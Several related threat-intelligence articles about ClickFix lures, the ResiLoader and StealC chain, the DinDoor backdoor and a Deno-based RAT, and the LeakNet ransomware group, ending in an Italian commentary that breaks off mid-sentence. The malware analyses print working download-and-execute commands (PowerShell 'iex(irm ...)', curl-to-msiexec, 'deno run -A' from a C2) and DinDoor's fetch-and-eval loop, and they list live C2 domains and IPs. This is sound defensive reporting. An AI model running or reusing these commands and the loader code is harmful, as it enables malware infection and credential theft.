deno

Updated July 6 to add connections with SyncTDS and TrafficTDS ClickFix attacks, which trick people into running malicious commands themselves, continue to evolve. This latest campaign uses fake Google and Cloudflare verification pages to convince victims to infect their own devices. A single mistake can install malware that steals passwords and other sensitive data, gives attackers remote access to your computer, or downloads additional malware that can take full control of your system. We uncovered multiple campaigns using the same infrastructure to deliver malware including HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport, and a Rust-based stealer. In one infection chain, a trojanized version of the legitimate Franz messaging app downloads a previously undocumented loader dubbed ResiLoader, which disables security software before deploying the StealC infostealer. Before we look at the technical details, here’s how to avoid becoming the next victim. How to stay safe ClickFix attacks rely on convincing you to run commands yourself. The safest approach is simple: Never copy and run commands from a website unless you’re following instructions from a trusted source and understand exactly what the command does. Be wary of verification pages. Google, Cloudflare, Microsoft, and other legitimate services will never ask you to paste PowerShell commands into Windows to prove you’re human or fix a problem. Don’t let urgency rush you. Fake verification pages often use countdown timers, visitor counters, or warnings to pressure you into acting quickly. Keep your security software up to date. Real-time protection and web protection can help block malicious websites before you reach them. Question unexpected technical instructions. If a website tells you to open PowerShell, Command Prompt, or Terminal, stop and verify the instructions through the company’s official support channels. Pro tip: Malwarebytes Browser Guard can warn you when a website attempts to copy content to your clipboard—a common trick used by ClickFix pages. Technical analysis The campaigns analysed in this research have been active since at least late 2025 and use a variety of fake Google and Cloudflare pages to deliver malware. Although the lures differ, they share much of the same infrastructure and infection chain, with the attackers continually testing new delivery methods and payloads. Different lures, one goal Most of the campaigns share several characteristics: Use of the folder C:\ProgramData\Zooms to extract later stages PowerShell ClickFix commands that follow similar patterns Use of Cloudflare R2 buckets to deliver payloads IP addresses hosted by the ASN Dedik Services Limited HTML responses containing only the phrase "hehe" These indicators have changed over time, so they don’t appear in every infection chain. The campaigns continue to evolve, with new payloads and delivery methods regularly introduced. For example, in some cases, the IP address is used directly for payload distribution instead of buckets. The final command copied by the user usually falls into this pattern: powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)” The port and the path are not always present in the cases analyzed; the ports are random, but some used ones are: 6600, 9900, 5506, 7895, 7493, 149, 8442. To execute these commands, several ClickFix-related templates are used, mainly related to Google and Cloudflare. We also detected that in some cases the PowerShell command was distributed through the IClickFix framework. We observed these ClickFix campaigns being distributed through: Old websites that have likely expired and been repurchased by the actor(s). CloudFlare Pages (.pages.dev domains). Compromised websites. Fake services, for example related to QR code or web file access. Google ClickFix lures The actors behind these campaigns use various Google-related HTML pages and kits. One lure impersonates Google reCAPTCHA verification. The pages are hosted on random URLs that display fake or malicious content. These domains are often older registrations that recently began resolving to new IP addresses, suggesting they were repurposed for the campaign. Some of these pages have URL parameters like such as “zoneid”, “cost”, “device”, “country”, “clickid”, for example: /conf/captcha.html?zoneid=10420852 /wincapbot/nobot.html /xmr/trkuste.php?zone=5327134 bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop In this case, the functions related to ClickFix are implemented in the class CustomCaptcha. The command is present in clear without any obfuscation. Another distribution method uses Cloudflare Pages hosted on .pages.dev subdomains. In this case, the HTML page is obfuscated by declaring several variables and XORing them. The deobfuscated code is called SECURITY GATEWAY and it’s composed of the functions GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, and PanelController. The code allows the attackers to retrieve the command either remotely or locally. In this sample, the malicious PowerShell command is stored locally. We also found that some of these domains have distributed another decoy in the past, in this case associated with an unauthorized Google login. This ClickFix lure asks the user to copy and paste the malicious command to set their device as primary. The interesting part of this ClickFix kit is that it features an “approval gate,” as described in the comments, and that the attacker must manually choose from the panel which command to have the user execute. In more recent campaigns, we’ve detected a ClickFix lure related to Google Meet, which requires copying and pasting a malicious command to fix audio issues. In the analyzed cases, the endpoint /api/driver-clipboard.php returned the following malicious command: {"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""} Other lures The actors behind this campaign use various kits and lures, mostly related to Google. However, we’ve detected other lures that copied commands related to the same infrastructure. The attackers behind these campaigns also compromise multiple websites using different templates related to the CloudFlare ClickFix lure. We have detected several templates used for CloudFlare pages. The command is present in clear or in some cases obfuscated in the cases analyzed. We also detected some specifically created fake services websites. For example, a “My QR Generator” site displays an obfuscated QR code and asks the user to run a PowerShell command to verify that the user is not a robot. In this case the command is encoded in base-64: PowerShell downloader The ClickFix command executed by the user decodes a script and drops it into the Temp folder with the name tmp{4 char}.tmp.ps1. We have detected several variations of this script, but recent versions do the following: Create the folder C:\ProgramData\Zooms . Download the next stage from a CloudFlare bucket and save it in C:\ProgramData\Zooms . In some variants of the script, the next stage is downloaded directly from an IP. Send the information of the compromised machine to http://{IP}/dl-callback . In some variants of the script, this part is not present. The attackers behind these campaigns use a large number of different payloads.The campaigns deliver a wide variety of payloads. The table below summarises some of the downloaded filenames and the malware they install. For many of the cases analyzed, the final payload was distributed via DLL Hijacking, as we will also see later for StealC stealer. We analyzed a new loader called ResiLoader that ultimately distributes StealC. We also detected that the threat actor in the latest campaigns has started using Deno to distribute a stealer developed in PowerShell at the end; the analysis of this infection chain could be the subject of a future blog post. Trojanized Electron app downloads ResiLoader In this case, the ZIP was downloaded from: pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip After extraction to: C:\ProgramData\Zooms\libEGL.zip_ext The zip contains a trojanized version of the open-source messaging app called “Franz”: The malicious code is implemented in the index.js file: The downloader performs the following operations: Decode the strings with the function HC() . Reads readme.txt , expects a campaign key of the formAAAA-BBBB , returns it as an array of tokens. In this case the name isresiloader-1 and for this we call “ResiLoader” the downloaded DLL. Reads %APPDATA%\setup.txt ; if absent, generates a random 8-char string and persists it. Obtaining persistence using app.setLoginItemSettings . Sends a POST request to https[:]//completstep[.]com/api/ and elaborate the JSON response - If task.e is present, it executeseval(task.e) ; it allows the attacker to execute arbitrary JavaScript code. - If task.files is present, create%TEMP%\ \ , decode and write each file; if any filename ends in.exe , run it viachild_process.exec . If In our case we received a ZIP that performs the DLL hijacking of ssh-add.exe: {"task":{"name":"JUNE18USY","files":{ "msys-2.0.dll":" ", "msys-crypto-3.dll":" ", "msys-gcc_s-seh-1.dll":" ", "ssh-add.exe":" " }}} After, the executable was executed with: C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe"" ResiLoader The msys-crypto-3.dll is an obfuscated .NET NativeAOT loader that implements AV/EDR evasion using a BYOD technique, obtain persistence and ultimately loads the stealer StealC. We didn’t find a specific attribution for this loader and so we called it “ResiLoader” based on the string present in previous readme.txt. The loader contains several strings, some clear and some encrypted. After decrypting the strings, it’s possible to have a full picture of the functionality of the ResiLoader. MANPO: ReadModule len=... MANPO: magicOffset=... … PERS: FAIL all file copies failed, skipping run key PERS: FAIL both HKLM and HKCU Run key writes failed … RUNPE: CreateProcess failed RUNPE: PEB patched RUNPE: VirtualAllocEx failed … POST: RunForever exited (unexpected) POST: entering RunForever POST: hollow= The loader performs the following operations: Extract the encoded blob containing two payloads reading the marker AtLorenBase and the length of the encoded blob. After, it decodes the blob and decrypts the driverpcdhost.sys (OPSWAT AppRemover Driver) and StealC payload using a custom decryption algorithm. Terminate more than 140 processes related to EDR/AV processes using the dropped driver. Perform UAC bypass via ICMLuaUtil Elevated COM Interface. Create a folder C:\ProgramData\Google Update , copying itself; adding persistence using the RUN Registry Key cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe In the end, the loader performs process hollowing of the process ServiceModelReg.exe to run the StealC stealer. Connections with SyncTDS and TrafficTDS We found several other ClickFix campaigns and kits potentially linked to the same operator(s), although there is not enough evidence to confirm this. The domain dasdasdikasjdas[.]click resolves to one of the IPs related to this campaign 151[.]240[.]151[.]126. The domain previously returned a panel called “SyncTDS”. We found more than 20 domains that return the SyncTDS related panel. This panel has also changed graphics over time. One of these “SyncTDS” domains, maskingofking[.]xyz, resolves to 193.111.117[.]6 which hosts several ClickFix-related domains and an open directory containing an interesting kit called “TrafficTDS.” This kit allows the operator to support different payloads related to Windows, Linux, MacOS and Android. In this case, the pages shown to the user are related to ClickFix with a CloudFlare lure. One of the most interesting parts of this kit is the “APK manager” section, which allows the operator to show the user an “Update Required” page to download the malicious APK. IOCs Hash 72907d0ca3258365838626f6a8d993a6: ResiLoader DLL 0234E3188F2883A438B3F2BEAB7A78B2: StealC 6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus 206ce339febca0c3bcc850f42595fc63: Amatera Stealer eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT b8d53740024d126cb55f83854335a4ab: Rust Stealer Domains Distribute ClickFix pages: onegeekworld[.]com thefirmos[.]com antibotv3[.]com centralwildcats[.]com cloud.antibotv3[.]com cloudautosolutions[.]com sunseekersupply[.]com 123clocks[.]com orcanegames[.]com rwmonitoring[.]com 100furniture[.]com nepalcharchaa[.]com p-floribunds.pages[.]dev pg-altirade2.pages[.]dev pg-cordivant-m6.pages[.]dev g-luminence.pages[.]dev generator-qrcode[.]online regdev-google[.]com khosla[.]capital eorgke09054909j[.]com dropboxi[.]com CloudFlare buckets used for payload distribution: pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev pub-620528e2dc874e16937673265aa23d39.r2[.]dev pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev pub-9682d5896df841679c5a17eb41273f89.r2[.]dev pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev unitedstateverif[.]com: payload distribution bigflaredefence[.]com: payload distribution popularcard[.]shop: Rust Stealer C2 xzz[.]proxygrid[.]cc: Amatera Stealer C2 completstep[.]com: Loader C2 eventlogerps1[.]ink: Deno Loader be231ro963[.]com: Deno Loader IPs IP used for payload distribution: 151.240.151[.]126 85.239.149[.]16 85.239.149[.]40 93.152.224[.]29 151.240.151[.]46 93.152.224[.]167 85.239.149[.]78 192.69.195[.]131 135.181.171[.]40 94.26.83[.]206 91.92.34[.]128 85.239.144[.]31 93.152.224[.]39 94.26.90[.]112 146.19.248[.]120: StealC C2 Acknowledgements Related domain reported: https://x.com/stop_spammerz/status/2070152741037477960 Related domain reported: https://x.com/Yuki27183/status/2047354005605777850 User infection reported on Reddit: https://www.reddit.com/r/antivirus/comments/1stn24v/best_thing_to_do_after_getting_malware/ Possible related infection chain https://github.com/MessyToilet/csgo-scam-via-powershell-5-31-2026 Similar open directory reported: https://x.com/malwrhunterteam/status/2062241642627694690 Similar campaign reported: https://x.com/stop_spammerz/status/2062269326292324592

Fake ChatGPT and Claude installers on GitHub are dropping Deno RAT malware Attackers are hosting counterfeit installers and plugins on GitHub and SourceForge that pose as widely used software, including ChatGPT, Claude, AutoTune, Kontakt, Ableton Live, and ZENOLOGY. The downloads deliver a backdoor called DinDoor, which then loads a remote access Trojan built on the Deno JavaScript runtime, according to Malwarebytes. Compromised YouTube channels push victims toward the malicious repositories. The videos promoting the fake tools have accumulated more than 50,000 views. The attackers rotate through GitHub accounts and create multiple repositories per account, refreshing the lures as old ones are taken down. Malwarebytes reported the activity to GitHub, which removed the flagged repositories, though new ones are expected to appear. Compromised YouTube channels with AI-generated videos (Source: Malwarebytes) How the infection works The malicious repositories ask visitors to open a terminal and paste a command that downloads an MSI installer or a PowerShell script from GitHub. Both Windows and macOS commands are offered. Once executed, the script installs the Scoop package manager and WinGet, then uses them to install the legitimate Deno runtime. Deno is then used to fetch and run the DinDoor backdoor directly from a remote server, with the next stage executed in memory through standard input so it never touches disk. DinDoor sets up persistence through a registry Run key, reports system details to a command-and-control server, and pulls down further payloads. In the cases analyzed, one of those payloads is a Deno-based RAT that has previously been tracked under the name Smokest. Code similarities suggest the same author or team built both tools. What the RAT can do The RAT gives operators wide control of an infected machine. It can execute arbitrary commands and PowerShell scripts, capture screenshots, manage files, launch or kill processes, and open SOCKS5 proxy tunnels. Its built-in stealer module targets more than 50 cryptocurrency wallet extensions and 10 wallet applications, including Atomic Wallet, Exodus, Electrum, and ByteCoin. It also pulls data from Chrome, Brave, Edge, Opera, Vivaldi, and other Chromium-based browsers, along with Telegram, Discord, and Lightcord. One feature stands out. To stream live video of a victim’s screen, the RAT silently launches Microsoft Edge, connects to it through the Chrome DevTools Protocol, and injects a WebRTC page. Edge then relays encrypted video frames directly to the attacker over a peer-to-peer connection, with traffic flowing through a legitimate browser process. This design helps the operator evade network detection. Legitimate platforms, legitimate tools, hidden payload The campaign blends trusted hosting, legitimate development tooling, and social engineering. GitHub and SourceForge carry credibility with developers and power users. Scoop, WinGet, and Deno are mainstream tools. Stitching them together lets the attackers stay under the radar of security products that look for unsigned binaries or unusual download sources. “The fake software appears designed to target creators, AI enthusiasts, gamers, and technically inclined users who are more likely to download unofficial tools, cracked software, or community-distributed installers from sites like GitHub and SourceForge,” Gabriele Orini, Malware Research Engineer at Malwarebytes, explained.

During our threat hunting activities, we found fake installers and plugins impersonating popular software including ChatGPT, Claude, AutoTune, and Kontakt on GitHub and SourceForge distributing a Deno backdoor known as DinDoor. Attackers are using compromised YouTube channels to distribute links to these platforms. DinDoor ultimately drops different types of malware, including a stealthy remote access Trojan (RAT), which also uses the Deno JavaScript runtime. Attackers are increasingly abusing alternative JavaScript runtimes like Bun and Deno to bypass traditional detection methods. In one of our recent investigations we documented how attackers are using Bun as an initial infection vector to distribute NWHStealer. And in March, ThreatDown researchers also observed attackers using Deno to deliver CastleLoader through a multi-stage infection chain involving the ClickFix lure. These campaigns use Scoop (an alternative installer for Windows) and WinGet (the official Windows package manager) to install Deno on the victim’s machine. They then use the Deno runtime to execute a RAT capable of executing additional payloads, exfiltrating data from browsers, wallets, and other applications, which has an interesting peer-to-peer feature that uses Edge to hide malicious traffic. Legitimate platforms abused to spread malware The infection chain is usually started via MSI files or PowerShell scripts downloaded from GitHub or SourceForge in most of the analyzed cases. Users are usually redirected to these malicious repositories via compromised YouTube channels. These videos currently total more than 50,000 views. The compromised YouTube channels create posts promoting different software and constantly switch between GitHub accounts to distribute the malware. The fake software appears designed to target creators, AI enthusiasts, gamers, and technically inclined users who are more likely to download unofficial tools, cracked software, or community-distributed installers from sites like GitHub and SourceForge. We’ve observed fake MSIs and scripts masquerading as installers and plugins for legitimate software and brands such as ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune, Kontakt. The malicious repositories have a command for both Windows and macOS. These repositories ask users to open the terminal and copy a malicious command, which downloads and executes the MSI from GitHub. Malicious GitHub accounts create multiple repositories filled with fake software and plugins related to popular software to lure in more users. We found that the same backdoor was distributed through SourceForge, mimicking a legitimate game software called GearUP and an AI watermark remover software called BWR. How to stay safe The attackers relied heavily on trust. GitHub and SourceForge are legitimate platforms, which makes fake projects look more convincing. We contacted GitHub, which quickly removed the malicious repositories, but users should expect new ones to continue appearing. Here are a few simple ways to stay safe: Only download software from official vendor websites. Be skeptical of “free”, cracked, or unofficial versions of paid software. Be cautious with downloads from GitHub, SourceForge, forums, or file-sharing sites, especially from new or unknown accounts. Attackers continue to create new profiles to distribute this malware across platforms. Check the developer or publisher’s profile, its reputation, and how recently it was created before downloading anything. Check that archive contents, images, and text files align with what you expected to download. Archive names and structures often follow recognizable malicious patterns. Check the file’s publisher and digital signature before you run it. Windows, you can usually check this by right-clicking the file, selecting Properties > Digital Signatures. Keep in mind that a valid signature does not guarantee a file is safe, but missing or suspicious signatures are often a red flag. Technical analysis The malicious GitHub repositories ask the user to open cmd and execute a malicious command. The malicious commands download an MSI from GitHub and install it via msiexec. These repositories sometimes also contain PowerShell scripts to similarly initiate the infection chain. Example of a malicious command hosted on GitHub that starts the infection chain: curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi The MSI drops a CMD file and a PowerShell script in a random directory specified in the MSI InstallationFolder and registry values. We detected different structures for these MSIs, with JavaScript instead of the CMD file, or with additional embedded files. The CMD file executes the PowerShell script, with a name that changes in the analyzed infection chains: @set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden" The PowerShell script takes care of: Ensuring the package manager Scoop is installed, and installing it if missing with the official script from get.scoop.sh . Scoop is a popular, open-source command-line software installer and package manager for Microsoft Windows. Using Scoop to install WinGet (Windows Package Manager) if missing. Installs Deno (a JavaScript/TypeScript runtime) via WinGet or Scoop if not present. The usage of the package managers Scoop and WinGet to install additional software on the compromised machine is an interesting approach that gives the attacker more flexibility. Command executed to install Deno using WinGet: "C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent The DinDoor Backdoor Next, the following stage is executed with the downloaded Deno executable: "C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js The returned code (the internal name is “launcher-1”) is a small eval-loop function that downloads the next stage (the internal name is “launcher-2”). The downloaded backdoor is publicly known as DinDoor. var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))} The backdoor handles persistence, sends information about the compromised system to the command-and-control server (C2), and executes additional payloads and commands returned by the C2. The HTTP endpoints used for C2 communications vary between the analyzed cases. The backdoor obtains an ID from an HTTP endpoint (for example, /security-pool) and then uses that ID to obtain the next stage from /v2{ID}.js. The obtained stage is executed via stdin without being written to disk, using the command: deno run -A --no-check – To achieve persistence, the backdoor runs a PowerShell command to create a RUN key that executes the downloader “launcher-1” used previously: conhost.exe --headless " " -A "%APPDATA%\ .js This backdoor distributes several malware families in the analyzed cases. In this blog, we analyze one of the distributed payloads: a RAT that uses the Deno JavaScript runtime. Deno RAT The delivered RAT, like the other analyzed scripts, uses the Deno JavaScript environment and has full functionality to control the device, execute commands and payloads, and exfiltrate various types of data through its built-in stealer module. We did not find a specific name or attribution for this RAT. In the past, the RAT has been referred to as “Smokest” based on a specific value in the config. The similar commenting style and shared infrastructure suggest that the DinDoor developer and the RAT developer may be the same person or team. Picked up something you shouldn’t have? In addition to HTTP for C2 communication, the RAT also supports WebSocket communication, enabled when the JSON value isLiveEnabled returned from the C2 is set to true. The RAT supports different commands (exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) and functionality: Collect system information about the compromised device Full bidirectional control through a custom VNC implementation over WebSocket Target more than 50 crypto wallet extensions and 10 crypto software folders such as Atomic Wallet, Exodus, Electrum, and ByteCoin Collect data from browsers including Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Opera, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser, and Chromodo Exfiltrate Telegram, Discord, and Lightcord data Record and modify clipboard data List folders, files and exfiltrate content from files with specific extensions Capture screenshots using different methods Execute additional payloads Launch or terminate arbitrary processes Execute commands with PowerShell Establish SOCKS5 proxy tunnels over WebSocket One of the most interesting parts of the RAT is a peer-to-peer streaming mode that uses the Edge browser to hide traffic and make detection more difficult. To stream live video directly to the operator without routing it through the C2 server, the RAT spawns a hidden Microsoft Edge process and connects to it via Chrome DevTools Protocol (CDP). It then injects a small WebRTC HTML page into Edge, turning the legitimate browser into a peer-to-peer video relay. The Deno agent captures and H.264-encodes the victim’s screen, passes the frames to the Edge page over CDP, and Edge forwards them directly to the operator’s browser over an encrypted WebRTC DataChannel. SDP and ICE signaling, needed to establish the direct connection, is exchanged through the existing C2 WebSocket. The RAT uses the following endpoints for C2 communication, which can vary between samples: /health : checks the “ok” response from the C2 /token : receive config parameters, task delivery, results, and exfiltrated data /vnc/agent/ : WebSocket path used for VNC communication The config data is Base64-encoded and is sent in communications with the C2 as an authorization token. Decoded config data: { "buildId": "cd361ef3159f5ce9", "buildNote": "BWR", "buildType": "msi-v2", "proxyUrls": ["{C2}"], "userId": "…", "accessTokenHash": "…", "iat": 1779372546, "exp": 2094948546 } We found different versions of this RAT, including a “light” version called “agent-lite” that supports only a few commands and uses Cloudflare Workers for C2 communication. Acknowledgements DinDoor: https://hunt.io/blog/dindoor-deno-runtime-backdoor-msi-analysis Smokest: https://x.com/vxunderground/status/2013006601133687004 Indicators of Compromise (IOCs) URLs https[:]//github.com/claude-free-plugin/ https[:]//github.com/ai-gen-profi https[:]//github.com/wharfdemolisherpit https[:]//sourceforge.net/projects/gearup/ https[:]//sourceforge.net/projects/bluewaveremover/ Domains claudescript[.]top : distribution website ms-telemetry-gateway-us[.]com : C2 dakatawebstick[.]com : C2 ashpaltlonpro[.]com : C2 cf-proxy[.]cloud-analytics-services[.]workers.dev : C2 agilemast3r[.]duckdns[.]org : C2 geralnewlong[.]com : C2 hngfbgfbfb[.]cyou : C2 logicalnewrestore[.]com : C2 IPs 23[.]227[.]196[.]107 : C2 45[.]137[.]99[.]121 : C2 31[.]57[.]129[.]23 : C2 66[.]78[.]40[.]107 : C2 193[.]233[.]198[.]132 : C2 From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

The ransomware operation known as LeakNet has adopted the ClickFix social engineering tactic delivered through compromised websites as an initial access method. The use of ClickFix, where users are tricked into manually running malicious commands to address non-existent errors, is a departure from relying on traditional methods for obtaining initial access, such as through stolen credentials acquired from initial access brokers (IABs), ReliaQuest said in a technical report published today. The second important aspect of these attacks is the use of a staged command-and-control (C2) loader built on the Deno JavaScript runtime to execute malicious payloads directly in memory. "The key takeaway here is that both entry paths lead to the same repeatable post-exploitation sequence every time," the cybersecurity company said. "That gives defenders something concrete to work with: known behaviors you can detect and disrupt at each stage, well before ransomware deployment, regardless of how LeakNet got in." LeakNet first emerged in November 2024, describing itself as a "digital watchdog" and framing its activities as focused on internet freedom and transparency. According to data captured by Dragos, the group has also targeted industrial entities. The use of ClickFix to breach victims offers several advantages, the most significant being that it reduces dependence on third-party suppliers, lowers per-victim acquisition cost, and removes the operational bottleneck of waiting for valuable accounts to hit the market. In these attacks, the legitimate-but-compromised sites are used to serve fake CAPTCHA verification checks that instruct users to copy and paste a "msiexec.exe" command to the Windows Run dialog. The attacks are not confined to a specific industry vertical, instead casting a wide net to infect as many victims as possible. The development comes as more threat actors are adopting the ClickFix playbook, as it abuses trusted, everyday workflows to entice users into running rogue commands via legitimate Windows tooling in a manner that feels routine and safe. "LeakNet's adoption of ClickFix marks both the first documented expansion of the group’s initial access capability and a meaningful strategic shift," ReliaQuest said. "By moving away from IABs, LeakNet removes a dependency that naturally constrained how quickly and broadly it could operate. And because ClickFix is delivered through legitimate—but compromised—websites, it doesn’t present the same obvious signals at the network layer as attacker-owned infrastructure." Besides the use of ClickFix to initiate the attack chain, LeakNet is assessed to be using a Deno-based loader to execute Base64-encoded JavaScript directly in memory so as to minimize on-disk evidence and evade detection. The payload is designed to fingerprint the compromised system, contact an external server to fetch next-stage malware, and enter into a polling loop that repeatedly fetches and executes additional code through Deno. Separately, ReliaQuest said it also observed an intrusion attempt in which threat actors used Microsoft Teams-based phishing to socially engineer a user into launching a payload chain that ended in a similar Deno-based loader. While the activity remains unattributed, the use of the bring your own runtime (BYOR) approach either signals a broadening of LeakNet's initial access vectors, or that other threat actors have adopted the technique. LeakNet's post-compromise activity follows a consistent methodology: it starts with the use of DLL side-loading to launch a malicious DLL delivered via the loader, followed by lateral movement using PsExec, data exfiltration, and encryption. "LeakNet runs cmd.exe /c klist, a built-in Windows command that displays active authentication credentials on the compromised system. This tells the attacker which accounts and services are already reachable without the need for requesting new credentials, so they can move faster and more deliberately," ReliaQuest said. "For staging and exfiltration, LeakNet uses S3 buckets, exploiting the appearance of normal cloud traffic to reduce its detection footprint." The development comes as Google revealed that Qilin (aka Agenda), Akira (aka RedBike), Cl0p, Play, SafePay, INC Ransom, Lynx, RansomHub, DragonForce (aka FireFlame and FuryStorm), and Sinobi emerged as the top 10 ransomware brands with the most victims claimed on their data leak sites. "In a third of incidents, the initial access vector was confirmed or suspected exploitation of vulnerabilities, most often in common VPNs and firewalls," Google Threat Intelligence Group (GTIG) said, adding 77% of analyzed ransomware intrusions included suspected data theft, an increase from 57% in 2024. "Despite ongoing turmoil caused by actor conflicts and disruption, ransomware actors remain highly motivated and the extortion ecosystem demonstrates continued resilience. Several indicators suggest the overall profitability of these operations is, however, declining, and at least some threat actors are shifting their targeting calculus away from large companies to instead focus on higher volume attacks against smaller organizations."

The LeakNet ransomware gang is now using the ClickFix technique for initial access into corporate environments and deploys a malware loader based on the open-source Deno runtime for JavaScript and TypeScript. The attacker is using the legitimate Deno to decode and execute a malicious payload directly into system memory, minimizing forensic evidence on the disk and lowering the chance of detection. LeakNet is a relatively recent ransomware threat actor that has been active since the end of 2024. The actor averages around three victims every month, but the operation may expand with the adoption of the new tactics. ClickFix is a widely used social engineering attack that tricks users into running malicious commands on their systems through fake prompts. The technique has been adopted by multiple ransomware groups, like Termite and Interlock. In LeakNet’s case, the ClickFix lure leads to deploying a Deno-based loader that executes a JavaScript payload in system memory. ReliaQuest calls this tactic a “bring your own runtime” (BYOR) attack, as Deno is a legitimate JavaScript/TypeScript runtime that allows JS/TS code execution outside the browser on a system. Deno is signed and legitimate, so it bypasses blocklists and filters for unknown binary execution. “Rather than deploying a custom malware loader that’s more likely to get flagged, the attackers install the legitimate Deno executable and use it to run malicious code,” explains ReliaQuest. “In observed activity, that process was initiated through Visual Basic Script (VBS) and PowerShell scripts, cleverly named Romeo*.ps1 and Juliet*.vbs.” The use of Deno for direct in-memory execution is key, as the activity leaves minimal forensic artifacts behind and appears as a normal developer task. Once executed, the code fingerprints the host, generates a unique victim ID, and connects to the command-and-control (C2) to pull the second-stage payload. At the same time, it runs a persistent polling loop to receive new commands from the C2. In the post-exploitation phase, LeakNet uses DLL sideloading (jli.dll loaded via Java in C:\ProgramData\USOShared), C2 beaconing, credential discovery via ‘klist’ enumeration, lateral movement via PsExec, and payload staging and data exfiltration that involves abusing Amazon S3 buckets. The researchers underline that the consistency and repeatability of the attack chain provide detection opportunities for defenders. Strong signs of potential LeakNet activity include Deno running outside development environments, suspicious ‘misexec’ execution from browsers, abnormal PsExec usage, unexpected outbound traffic to S3, and DLL sideloading in unusual directories. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Il briefing della Cyber Security Forum Initiative (CSFI) appare come uno di quei rari momenti in cui l’intelligence smette di fare accademia e consegna una mappa operativa. Il documento che circola in queste ore tra i professionisti – “Per Teheran, il cyberspazio rimane il dominio più permissivo per imporre costi agli Stati Uniti e ai loro alleati” – non è il solito aggiornamento sulle APT. È la fotografia di un cambiamento di paradigma che, da CISO, non è possibile ignorare. Viviamo in un’epoca in cui il confine tra pace e conflitto è diventato così poroso da risultare irrilevante. Le aziende che proteggiamo, anche quelle che operano esclusivamente in Italia senza interessi diretti in Medio Oriente, si trovano improvvisamente proiettate in uno scenario di guerra ibrida. Non per scelta, ma perché l’architettura digitale che difendiamo ogni giorno è diventata, di fatto, terreno di scontro tra potenze. Indice degli argomenti Il briefing CSFI individua con precisione chirurgica il punto centrale: per Teheran, il cyberspazio è oggi lo strumento più efficace per “imporre costi” all’Occidente. Spesso mi chiedono se questa sia una vera novità. In sé forse no, ma lo è il contesto: negli ultimi giorni abbiamo assistito a quella che alcuni osservatori definiscono “la più grande operazione informatica della storia”, con il blackout che ha colpito l’Iran in contemporanea agli attacchi cinetici sul campo. Quello che colpisce è la consapevolezza con cui gli attori iraniani stanno giocando la loro partita. Non c’è improvvisazione, ma una strategia chiara che coordina apparati statali, gruppi proxy e hacktivisti. I gruppi citati nel briefing – APT35, APT42, APT34, MuddyWater, Fox Kitten, CyberAv3ngers – non agiscono in compartimenti stagni. Sono ingranaggi di un meccanismo progettato per massimizzare l’impatto con risorse limitate. Lo ha spiegato bene Denis Calderone di Suzu Labs: se APT34, il gruppo di spionaggio più sofisticato, rimane in silenzio durante una crisi, non significa che sia inattiva. Vuol dire, invece, che sta lavorando al preposizionamento: backdoor già installate e accessi consolidati in attesa del momento opportuno per colpire. C’è un errore che vedo ripetere spesso: la tendenza a considerare i conflitti geopolitici come questioni che riguardano “altri”. Israele è lontano, gli Stati Uniti sono lontani. Eppure, la logica della guerra ibrida non conosce distanze. Il documento CSFI elenca obiettivi e modalità con estrema precisione. APT35 (Charming Kitten) si concentra sul furto di credenziali cloud, mentre APT42 conduce spionaggio mirato contro ONG e figure politiche. APT34 e MuddyWater operano con tecniche LOTL (Living Off The Land), usando strumenti legittimi per mimetizzarsi nel traffico normale. Fox Kitten, invece, punta a compromettere VPN e firewall per garantirsi persistenza. Ma ciò che preoccupa di più è la menzione di fronti come CyberAv3ngers. Il briefing usa una formula quasi matematica: “esposizione OT + credenziali deboli = impatto sproporzionato”. Non serve essere un bersaglio diretto per finire nel mirino. Basta essere esposti, avere password deboli o non aver segmentato adeguatamente la rete industriale da quella IT. Mentre scrivo queste riflessioni, le notizie confermano purtroppo i timori. Broadcom Symantec e Carbon Black hanno reso pubblico che MuddyWater era già attiva sulle reti di una banca statunitense e di un aeroporto fin dall’inizio di febbraio. Il dettaglio che merita attenzione è il backdoor Dindoor, uno strumento che esegue attraverso Deno, il runtime JavaScript. È la dimostrazione che la preparazione iraniana investe nello sviluppo di capacità nuove, progettate per 